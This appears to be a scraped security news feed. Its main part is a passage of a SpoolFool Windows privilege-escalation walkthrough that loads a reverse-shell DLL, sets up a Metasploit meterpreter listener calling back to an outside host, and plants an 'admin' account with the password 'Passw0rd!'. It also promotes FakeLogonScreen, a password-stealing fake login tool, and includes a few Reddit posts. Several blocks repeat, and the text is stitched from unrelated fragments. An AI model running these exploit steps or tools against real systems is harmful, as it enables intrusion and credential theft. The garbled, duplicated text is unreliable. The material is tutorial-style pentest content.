https://blogger.googleusercontent.com/img/a/AVvXsEjql1IOIhTAQpo_GfJCIzMe-VFAG1RHZh3qawjUdi-1Ztt5flA5XXPaTELuG7F711hV31obSl_ctdF5gWnBkHEpQBMMSPm7RqsU0ZQPBnC-79qpiEc7A8W5IS6m6bsPQCoXPAK83kwK5XerSMRgx1PR21vwNXHmAQTMhwk-8KYvjzHB_dp1nY7a7LGDtA=s16000
Now, we can run the exploit and load this DLL with the following command. Before running it, make sure to set up multi/handler in msfconsole.
SpoolFool.exe -dll reverse.dll
Observe here, how a directory has been made in %temp%\d5f5….{random name} and a reparse point has been created to write into our desired print driver directory C:\Windows\system32\spool\DRIVERS\x64\4
https://blogger.googleusercontent.com/img/a/AVvXsEhd848JjHwdUzQ3vNtT8urPmPShKFd0hWmz7lsTj3oRACF79FxTaPlacJ7QXA39_vyzUMDqWapz1KK1rPiSLUpxw79MInJqNl5e9U-mzOwJni_1pHrbIPL_YdShK6BaTk4Z5IAzHcHnObpDqGK4J61JansGp-52-epyW77plsqPtM8Vc2r4i1QrY46d1Q=s16000
The directory didn’t exist before, but now you can see, it exists and the DLL has been saved in here. Which means success! T[...]
Hacking Articles Tips Tricks Videos Tutorials
ry. * Configure this temporary directory as a reparse point which points to C: \Windows\System32\spool\drivers\x64\ * SetPrinterDataEx is called with CopyFiles and DLL in this directory gets automatically loaded into the process spoolsv.exe Why only C:\W…
he directory is also writable by everyone.
https://blogger.googleusercontent.com/img/a/AVvXsEi9wK9ITrDu_74okUkDHC1bAR89V81bK3MuQI2hgMOTUJ0syM3wArRF-jQCY8DXxcoEztkzFrHpE71hYUx83IkH_3Xhieu1USqWSL2-WWKL_5knq2CArCFMDjO1CnuxIBCUmekifUj8CVCcklftOOjT0s_lbKaREaipgmdImxAW2XSJWR22pT5h_OY_lw=s16000
Anyhow, the DLL is now loaded and we have received a reverse shell!
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.20
set LPORT 9501
run
https://blogger.googleusercontent.com/img/a/AVvXsEgMOfJfn9f9bYCIHCJw1pUo4kWRZ_ywAY9jIJ4VrR8F3k0WbUBdnasv-hdQDUbV2KcKrvCVBiq4Ea2pYpK8m1V87olKAFbasomCxL70CDbESJNn960w58RmholAIhqcdwxaBVL53DR0o_vFPXew64sfLUtiBVUGYIliUMXfX2bKi-9gtt8V4Ou_PVhUrQ=s16000
We can check the current user’s permissions and as you can see, privileges have been escalated!
https://blogger.googleusercontent.com/img/a/AVvXsEi32rlvXa59D_RDndRZNYCWjSbEdc0SKmWnuIiKUYaTVE_N_ONt_0ZYKp5u8y6H6MkuPDc_G4ZDjNOlFwF8B5skPIKh7n8Qc3_FIhxZm0gbmUiFrvuCGn3OVg0ruVxuLeBjCeLMlwZ1DEUhXtlZvO-f56zcMokYu5oF6Um7NMq_e5qKKavx_B5heh38mA=s16000 Demonstration – Method 2Author has already created a DLL called AddUser.dll in the project directory that would allow us to add a new user called “admin” with Administrator privileges and the default password “Passw0rd!”
Let’s compromise our victim again and see his own membership.
whoami
net user hex
https://blogger.googleusercontent.com/img/a/AVvXsEh96eE7gJXuY-eg0bhjvyzy-4akTZy6TSRBX8FnCKZlO1vhLIHDwwLjEfvBHnQzGFuIJ1Z7mlEfBaZ5quLTjZDz2xlGGET1ce6cwwmST5EXvRDdP5eNtsTQtpElEbTcYCtW4hW3b1gEq3FuYWS-1Ho78SnwPWZ7JCfQUIZdxyvxXv3AbWmhR_thLn6Y4Q=s16000
Hex user doesn’t have administrator access. Now, we run the SpoolFool.exe exploit again but include this DLL this time.
SpoolFool.exe -dll Adduser.dll
https://blogger.googleusercontent.com/img/a/AVvXsEiBYy-zodbDVdSIDCAiCLtE6unfj77KFQdkTiulIaknCBeFzrD3upFs2l-uo_rQHYygQwtUZ47nHzXdknJ3fREa4pLmJaIIZ6Ps0aQBrCcm-ZRxtj7uKU2oz5WY_KoAPupHr0llEBThN-37yQZv-5e4uurXlRfzPnrHlW6tMYyAYconqi1H_Js5F01Mpw=s16000
Now, upon checking users, we can see an admin user has been added who is a part of Administrators!
net user
net user admin
https://blogger.googleusercontent.com/img/a/AVvXsEjv0EcjitLbVC6XOG5aWkSS9DmZRc0AjQPwNmH-A7vP0e6wHuROYohcnnZojO3x2WxclkAT3Yse-FVMafC9dfqCS1p6nZarTJAMJF4a9jpXr0y-ky2cP-TPwDiD_Wc5ma2NQlrJgJK25YAujtD8U62b5mny6nW7clmp7YIifPd3qc87QjcdBBc4Gzz6Eg=s16000
We can use these credentials to do a number of things now! Login using psexec, login via RDP etc. I tried a simple smbclient shell to check the validity of the credentials and as you can see, privileges have been escalated and we can interact with the victim as admin now!
https://blogger.googleusercontent.com/img/a/AVvXsEiKIiHpdQrHdsOEW0tSFv-SYGP6zg8kVIQ4t5cLk1b_9Hk8U6LOm-OrixrWzcrZGdgF6iv5VXJKPXLF-DDTo9T421zirCA8IObXIVyOds33_xR-U1mmq58IQ7NTliruDos0aWsTdN0RexqF9VfCMB-8E_Hfke0UytrlFiRLWO2evTzTiA6xvEcRE4PKFA=s16000 Patch StatusAs per the author: A quick check with Process Monitor reveals that the Spool Directory is no longer created when the Spooler initializes. If the directory does not exist, the Print Spooler falls back to the default spool directory. ConclusionWindows privilege escalation has always been tricky from a pentester’s point of view. Print Spool exploits have tried and made that statement a myth. The arbitrary file writing vulnerability as been marked as SEVERE by the Microsoft MSRC bulletin because of how easy it is to exploit and escalate privileges. Through this article, we mean to spread awareness to analysts and encourage them to timely update their patches. Hope you liked the article. Thanks for reading. Do connect with me on LinkedIn in case of any queries.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Privilege Escalation: SpoolFool appeared first on Hacking Articles.
https://blogger.googleusercontent.com/img/a/AVvXsEi9wK9ITrDu_74okUkDHC1bAR89V81bK3MuQI2hgMOTUJ0syM3wArRF-jQCY8DXxcoEztkzFrHpE71hYUx83IkH_3Xhieu1USqWSL2-WWKL_5knq2CArCFMDjO1CnuxIBCUmekifUj8CVCcklftOOjT0s_lbKaREaipgmdImxAW2XSJWR22pT5h_OY_lw=s16000
Anyhow, the DLL is now loaded and we have received a reverse shell!
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.20
set LPORT 9501
run
https://blogger.googleusercontent.com/img/a/AVvXsEgMOfJfn9f9bYCIHCJw1pUo4kWRZ_ywAY9jIJ4VrR8F3k0WbUBdnasv-hdQDUbV2KcKrvCVBiq4Ea2pYpK8m1V87olKAFbasomCxL70CDbESJNn960w58RmholAIhqcdwxaBVL53DR0o_vFPXew64sfLUtiBVUGYIliUMXfX2bKi-9gtt8V4Ou_PVhUrQ=s16000
We can check the current user’s permissions and as you can see, privileges have been escalated!
https://blogger.googleusercontent.com/img/a/AVvXsEi32rlvXa59D_RDndRZNYCWjSbEdc0SKmWnuIiKUYaTVE_N_ONt_0ZYKp5u8y6H6MkuPDc_G4ZDjNOlFwF8B5skPIKh7n8Qc3_FIhxZm0gbmUiFrvuCGn3OVg0ruVxuLeBjCeLMlwZ1DEUhXtlZvO-f56zcMokYu5oF6Um7NMq_e5qKKavx_B5heh38mA=s16000 Demonstration – Method 2Author has already created a DLL called AddUser.dll in the project directory that would allow us to add a new user called “admin” with Administrator privileges and the default password “Passw0rd!”
Let’s compromise our victim again and see his own membership.
whoami
net user hex
https://blogger.googleusercontent.com/img/a/AVvXsEh96eE7gJXuY-eg0bhjvyzy-4akTZy6TSRBX8FnCKZlO1vhLIHDwwLjEfvBHnQzGFuIJ1Z7mlEfBaZ5quLTjZDz2xlGGET1ce6cwwmST5EXvRDdP5eNtsTQtpElEbTcYCtW4hW3b1gEq3FuYWS-1Ho78SnwPWZ7JCfQUIZdxyvxXv3AbWmhR_thLn6Y4Q=s16000
Hex user doesn’t have administrator access. Now, we run the SpoolFool.exe exploit again but include this DLL this time.
SpoolFool.exe -dll Adduser.dll
https://blogger.googleusercontent.com/img/a/AVvXsEiBYy-zodbDVdSIDCAiCLtE6unfj77KFQdkTiulIaknCBeFzrD3upFs2l-uo_rQHYygQwtUZ47nHzXdknJ3fREa4pLmJaIIZ6Ps0aQBrCcm-ZRxtj7uKU2oz5WY_KoAPupHr0llEBThN-37yQZv-5e4uurXlRfzPnrHlW6tMYyAYconqi1H_Js5F01Mpw=s16000
Now, upon checking users, we can see an admin user has been added who is a part of Administrators!
net user
net user admin
https://blogger.googleusercontent.com/img/a/AVvXsEjv0EcjitLbVC6XOG5aWkSS9DmZRc0AjQPwNmH-A7vP0e6wHuROYohcnnZojO3x2WxclkAT3Yse-FVMafC9dfqCS1p6nZarTJAMJF4a9jpXr0y-ky2cP-TPwDiD_Wc5ma2NQlrJgJK25YAujtD8U62b5mny6nW7clmp7YIifPd3qc87QjcdBBc4Gzz6Eg=s16000
We can use these credentials to do a number of things now! Login using psexec, login via RDP etc. I tried a simple smbclient shell to check the validity of the credentials and as you can see, privileges have been escalated and we can interact with the victim as admin now!
https://blogger.googleusercontent.com/img/a/AVvXsEiKIiHpdQrHdsOEW0tSFv-SYGP6zg8kVIQ4t5cLk1b_9Hk8U6LOm-OrixrWzcrZGdgF6iv5VXJKPXLF-DDTo9T421zirCA8IObXIVyOds33_xR-U1mmq58IQ7NTliruDos0aWsTdN0RexqF9VfCMB-8E_Hfke0UytrlFiRLWO2evTzTiA6xvEcRE4PKFA=s16000 Patch StatusAs per the author: A quick check with Process Monitor reveals that the Spool Directory is no longer created when the Spooler initializes. If the directory does not exist, the Print Spooler falls back to the default spool directory. ConclusionWindows privilege escalation has always been tricky from a pentester’s point of view. Print Spool exploits have tried and made that statement a myth. The arbitrary file writing vulnerability as been marked as SEVERE by the Microsoft MSRC bulletin because of how easy it is to exploit and escalate privileges. Through this article, we mean to spread awareness to analysts and encourage them to timely update their patches. Hope you liked the article. Thanks for reading. Do connect with me on LinkedIn in case of any queries.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Privilege Escalation: SpoolFool appeared first on Hacking Articles.
FakeLogonScreen - Fake Windows Logon Screen To Steal Passwords
FakeLogonScreen is a utility to fake the Windows logon screen in order to obtain the user's password. The password entered is validated against the Active Directory or local machine to make sure it is correct and is then displayed to the console or saved to disk. It can either be executed by simply running the .exe file, or using for example Cobalt Strike's execute-assembly command. Binaries available from the Releases page. FakeLogonScreen.exe: Writes output to console which for example is compatible with Cobalt Strike FakeLogonScreenToFile.exe: Writes output to console and %LOCALAPPDATA%\Microsoft\user.db Folders: / (root): Built against .NET Framework 4.5 which is installed by default in Windows 8, 8.1 and 10 DOTNET35: Built against .NET Framework 3.5 which is installed by default in Windows 7 Features Primary display shows a Windows 10 login screen while additional screens turn black If custom background is configured by the user, shows that background instead of the default one Validates entered password before closing the screen Username and passwords entered are outputted to console or stored in a file Blocks many shortkeys to prevent circumventing the screen Minimizes all existing windows to avoid other windows staying on top Authored by Arris Huijgen (@bitsadmin - https://github.com/bitsadmin/) Download Fakelogonscreen
Read more...
FakeLogonScreen is a utility to fake the Windows logon screen in order to obtain the user's password. The password entered is validated against the Active Directory or local machine to make sure it is correct and is then displayed to the console or saved to disk. It can either be executed by simply running the .exe file, or using for example Cobalt Strike's execute-assembly command. Binaries available from the Releases page. FakeLogonScreen.exe: Writes output to console which for example is compatible with Cobalt Strike FakeLogonScreenToFile.exe: Writes output to console and %LOCALAPPDATA%\Microsoft\user.db Folders: / (root): Built against .NET Framework 4.5 which is installed by default in Windows 8, 8.1 and 10 DOTNET35: Built against .NET Framework 3.5 which is installed by default in Windows 7 Features Primary display shows a Windows 10 login screen while additional screens turn black If custom background is configured by the user, shows that background instead of the default one Validates entered password before closing the screen Username and passwords entered are outputted to console or stored in a file Blocks many shortkeys to prevent circumventing the screen Minimizes all existing windows to avoid other windows staying on top Authored by Arris Huijgen (@bitsadmin - https://github.com/bitsadmin/) Download Fakelogonscreen
Read more...
GitHub
bitsadmin - Overview
Freelancer @ BITSADMIN • Security Researcher. bitsadmin has 15 repositories available. Follow their code on GitHub.
hacking: security in practice
Remote threat analysis.
So how are people doing threat analysis in an remote environment? I tried several tools but at the end we now use a whiteboard to draw the architecture and after that I use threagile. After threagile we meet again to discuss the threats threagile pointed out at nd also threats we thought ourselves.
So how are other people doing this remotely?
submitted by /u/SvenMA
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
Remote threat analysis.
So how are people doing threat analysis in an remote environment? I tried several tools but at the end we now use a whiteboard to draw the architecture and after that I use threagile. After threagile we meet again to discuss the threats threagile pointed out at nd also threats we thought ourselves.
So how are other people doing this remotely?
submitted by /u/SvenMA
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
reddit
Remote threat analysis.
So how are people doing threat analysis in an remote environment? I tried several tools but at the end we now use a whiteboard to draw the...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Cyberattacks knock out sites of Ukrainian army, major banks
https://external-preview.redd.it/6Yt_zi7KKWGJE1EqmV5vRSA9hml01D1wvcSoTh5KB9E.jpg?width=640&crop=smart&auto=webp&s=f99c623eccf90deb4f53c7872e0d2ecb70474d99 submitted by /u/DrinkMoreCodeMore
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
Cyberattacks knock out sites of Ukrainian army, major banks
https://external-preview.redd.it/6Yt_zi7KKWGJE1EqmV5vRSA9hml01D1wvcSoTh5KB9E.jpg?width=640&crop=smart&auto=webp&s=f99c623eccf90deb4f53c7872e0d2ecb70474d99 submitted by /u/DrinkMoreCodeMore
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
hacking: security in practice
Is there a database that shows how to craft a packet to exploit specific CVEs?
Mainly in regards to Cisco IOS, IOS-XE. I understand why Cisco would keep it under wraps if they discover the vulnerability or got it from a bounty hunter. I understand why a hacker would keep it secret but I'm guessing they would move on at some point.
submitted by /u/LarrBearLV
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
Is there a database that shows how to craft a packet to exploit specific CVEs?
Mainly in regards to Cisco IOS, IOS-XE. I understand why Cisco would keep it under wraps if they discover the vulnerability or got it from a bounty hunter. I understand why a hacker would keep it secret but I'm guessing they would move on at some point.
submitted by /u/LarrBearLV
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖
reddit
Is there a database that shows how to craft a packet to exploit...
Mainly in regards to Cisco IOS, IOS-XE. I understand why Cisco would keep it under wraps if they discover the vulnerability or got it from a...
No Rate Limiting Vulnerability & Bypasses - Cyber Sapiens Internship Task-17
Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium »
Read more...
Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium »
Read more...
Insecure Direct Object Reference- Cyber Sapiens Internship Task-18
Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium »
Read more...
Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly…Continue reading on Medium »
Read more...